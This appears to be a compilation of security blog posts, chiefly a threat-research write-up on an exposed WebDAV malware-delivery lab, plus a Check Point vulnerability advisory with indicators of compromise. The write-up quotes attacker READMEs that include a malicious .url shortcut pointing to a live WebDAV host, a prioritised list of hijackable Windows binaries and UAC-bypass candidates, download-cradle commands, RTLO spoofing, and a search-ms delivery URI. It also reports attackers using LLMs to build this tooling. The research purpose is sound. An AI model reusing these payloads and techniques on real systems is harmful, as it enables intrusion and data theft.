“Our understanding of the various botnets in this space, along with experience in multiple disruptions, leads us to a very important conclusion: taking down a single malicious proxy provider or their botnet in isolation is likely to result in a short-lived solution,” researchers wrote. 

“In recent years, the malicious proxy environment has essentially created the largest collective botnet currently active on the internet, capable of moving millions of IPs within hours to wherever they are needed,” they added. “Until the malicious proxy landscape is properly addressed and regulated on both the private industry and law enforcement sides, this issue will grow and, along with the DDoS botnet landscape, will most likely become a greater problem in the long term.”

The post Despite multiple takedowns, botnets continue to grow appeared first on CyberScoop.

CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild

By: Rapid7
23 July 2026 at 07:57

Overview

On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.

Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.

The advisory addresses three vulnerabilities in total:

CVE

CVSS

Description

Affected Products

Exploitation Status

CVE-2026-16232

Vendor: 9.3 (Critical)
CISA: 9.1 (Critical)

Authentication bypass via SmartConsole application token

Security Management, Multi-Domain Management

Exploited in the wild

CVE-2026-62144

Vendor: 9.3 (Critical)
CISA: 9.1 (Critical)

Management authentication bypass and privilege escalation

Security Management, Multi-Domain Management

No known exploitation

CVE-2026-62145

7.5 (High)

Local privilege escalation in GaiaOS WebUI

Firewall, Multi-Domain Management, Multi-Domain Log Server

No known exploitation

Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.

Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.

Technical analysis

On July 28, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-16232. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to login to a vulnerable appliance via SmartConsole with full admin privileges.

Mitigation guidance

Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.

The following versions are affected by CVE-2026-16232:

  • R82.10: fixed in Jumbo Hotfix Take 36 and later

  • R82: fixed in Jumbo Hotfix Take 118 and later

  • R81.20: fixed in Jumbo Hotfix Take 158 and later

  • R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified

CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.

Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:

  • Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets

  • Protect Management access with a firewall and restrict access to trusted IP addresses

  • Verify that implied rules for control connections are enabled

These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.

Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks available in the 24 July content release.

Indicators of compromise

Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:

  • 151.241.99[.]207

  • 151.241.99[.]233

  • 158.62.198[.]182

  • 192.142.10[.]99

  • 139.28.37[.]250

  • 194.213.18[.]137

Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.

Updates

  • July 23, 2026: Initial publication.
  • July 24, 2026: Updated to reflect availability of vulnerability checks.
  • July 28, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab

20 July 2026 at 09:00

Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Category

Files

Functions and discoveries

LNK delivery launchers

453

Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths

Filename-spoofing QA

236

Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior

URL/LOLBin execution tests

146

Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution

Encrypted droppers

89

Staged second-stage payloads and installer-style packages

Alternative execution containers

24

search-ms, library-ms, .cpl, and related delivery containers

Payload stubs and spoofed executables

21

Smaller loaders, decoys, and renamed binaries

WebDAV scripts

17

Scripts intended to make WebDAV delivery more reliable on Windows systems

Builder and operator notes

10

README files, test reports, mappings, and generation scripts

ClickFix HTML lures

9

Browser-based social-engineering pages instructing users to run commands

Miscellaneous files

6

Included documentation for the actor’s WebDAV delivery/admin panel

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

testing-files-subfolders.png
Figure 1: Snippet of one of many subfolders containing testing files.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

CVE

Observed samples

Short description

CVE-2025-33053

11

Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)

CVE-2026-21513

4

MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)

CVE-2025-24054

1

Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

Simba-Service-WebDAV-dashboard-CURP.png
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

Execution-chain-PDF-lure.jpg
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

  • Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
  • Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

  • Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the final payload was PureRAT 4.4.3, a .NET-based information stealer and remote access trojan.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

DlrtyGames-execution-chain.jpg
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

Hardcoded-$outDir-path.png
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

Simba-server-screenshot-panel.png
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

⠀

Simba-server-system-requirements.png
Figure 10: Simba service system requirements.

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒdᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

simba-service-presentation.png
Figure 12: Simba service presentation.

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

simba-service-page-with-blocking-capabilities_.png
Figure 13: Simba service page with blocking capabilities.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Country

Requests

Share of requests

Unique client IPs

Launch events

Mexico

63,622

82.5%

2,698

2,365

United States

4,032

5.2%

463

47

Germany

2,751

3.6%

59

1

United Kingdom

645

0.8%

40

0

Netherlands

532

0.7%

49

1

France

407

0.5%

21

0

Finland

401

0.5%

6

10

Brazil

343

0.4%

41

0

Republic of Korea

312

0.4%

16

1

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Method

Count

PROPFIND

57,287

GET

13,088

OPTIONS

6,597

PROPPATCH

125

LOCK

1

Table 4: HTTP methods observed in WebDAV delivery traffic.

Status

Count

207

57,412

200

19,532

206

154

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Name

